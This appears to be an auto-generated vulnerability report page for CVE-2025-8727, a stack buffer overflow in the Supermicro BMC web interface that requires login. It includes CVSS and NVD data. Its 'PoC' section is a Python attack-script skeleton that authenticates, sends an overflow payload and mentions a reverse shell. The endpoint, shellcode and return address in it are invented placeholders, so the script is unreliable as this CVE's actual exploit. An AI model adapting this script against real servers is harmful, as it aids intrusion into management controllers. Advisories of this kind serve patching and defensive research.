Security Vulnerability Report
中文
CVE-2025-8727 CVSS 7.2 HIGH

CVE-2025-8727

Published: 2025-11-18 08:15:52
Last Modified: 2026-04-15 00:35:42
Source: def9a96e-e099-41a9-bfac-30fd4f82c411

Description

There is a vulnerability in the Supermicro BMC web function at Supermicro MBD-X13SEDW-F. After logging into the BMC Web server, an attacker can use a specially crafted payload to trigger the Stack buffer overflow vulnerability.

CVSS Details

CVSS Score
7.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Supermicro MBD-X13SEDW-F (BMC固件未修复版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-8727 PoC - Supermicro BMC Web Stack Buffer Overflow Note: This is a conceptual PoC for educational and security research purposes only. """ import requests import sys def exploit_bmc_buffer_overflow(target_ip, username, password): """ Exploit Supermicro BMC buffer overflow vulnerability """ # Login to BMC Web interface login_url = f"https://{target_ip}/api/session" login_data = { "username": username, "password": password } try: # Establish session session = requests.Session() response = session.post(login_url, json=login_data, verify=False, timeout=10) if response.status_code != 200: print(f"[-] Authentication failed") return False print(f"[+] Successfully authenticated to BMC") # Construct malicious payload for buffer overflow # Buffer size is typically 256-512 bytes in embedded systems buffer_size = 600 # NOP sled for reliable exploitation nop_sled = b"\x90" * 200 # Shellcode for reverse shell (example) # This is a placeholder - actual shellcode would be architecture-specific shellcode = b"\xcc" * 100 # INT3 for debugging # Padding to reach return address padding = b"A" * (buffer_size - len(nop_sled) - len(shellcode)) # Overwrite return address (would need to be determined for specific version) return_address = b"\xaa\xbb\xcc\xdd" # Placeholder address # Construct full payload payload = nop_sled + shellcode + padding + return_address # Send malicious request to trigger overflow exploit_url = f"https://{target_ip}/api/vuln-endpoint" headers = { "Content-Type": "application/x-www-form-urlencoded", "X-Requested-With": "XMLHttpRequest" } print(f"[*] Sending malicious payload ({len(payload)} bytes)...") response = session.post(exploit_url, data=payload, headers=headers, verify=False, timeout=10) print(f"[*] Exploit sent. Check for reverse shell or system compromise.") return True except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") return False if __name__ == "__main__": if len(sys.argv) != 4: print(f"Usage: {sys.argv[0]} <target_ip> <username> <password>") sys.exit(1) exploit_bmc_buffer_overflow(sys.argv[1], sys.argv[2], sys.argv[3])

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-8727", "sourceIdentifier": "def9a96e-e099-41a9-bfac-30fd4f82c411", "published": "2025-11-18T08:15:51.980", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "There is a vulnerability in the Supermicro BMC web function at Supermicro MBD-X13SEDW-F. After logging into the BMC Web server, an attacker can use a specially crafted payload to trigger the Stack buffer overflow vulnerability."}], "metrics": {"cvssMetricV31": [{"source": "def9a96e-e099-41a9-bfac-30fd4f82c411", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "def9a96e-e099-41a9-bfac-30fd4f82c411", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}], "references": [{"url": "https://www.supermicro.com/zh_tw/support/security_BMC_IPMI_Nov_2025", "source": "def9a96e-e099-41a9-bfac-30fd4f82c411"}]}}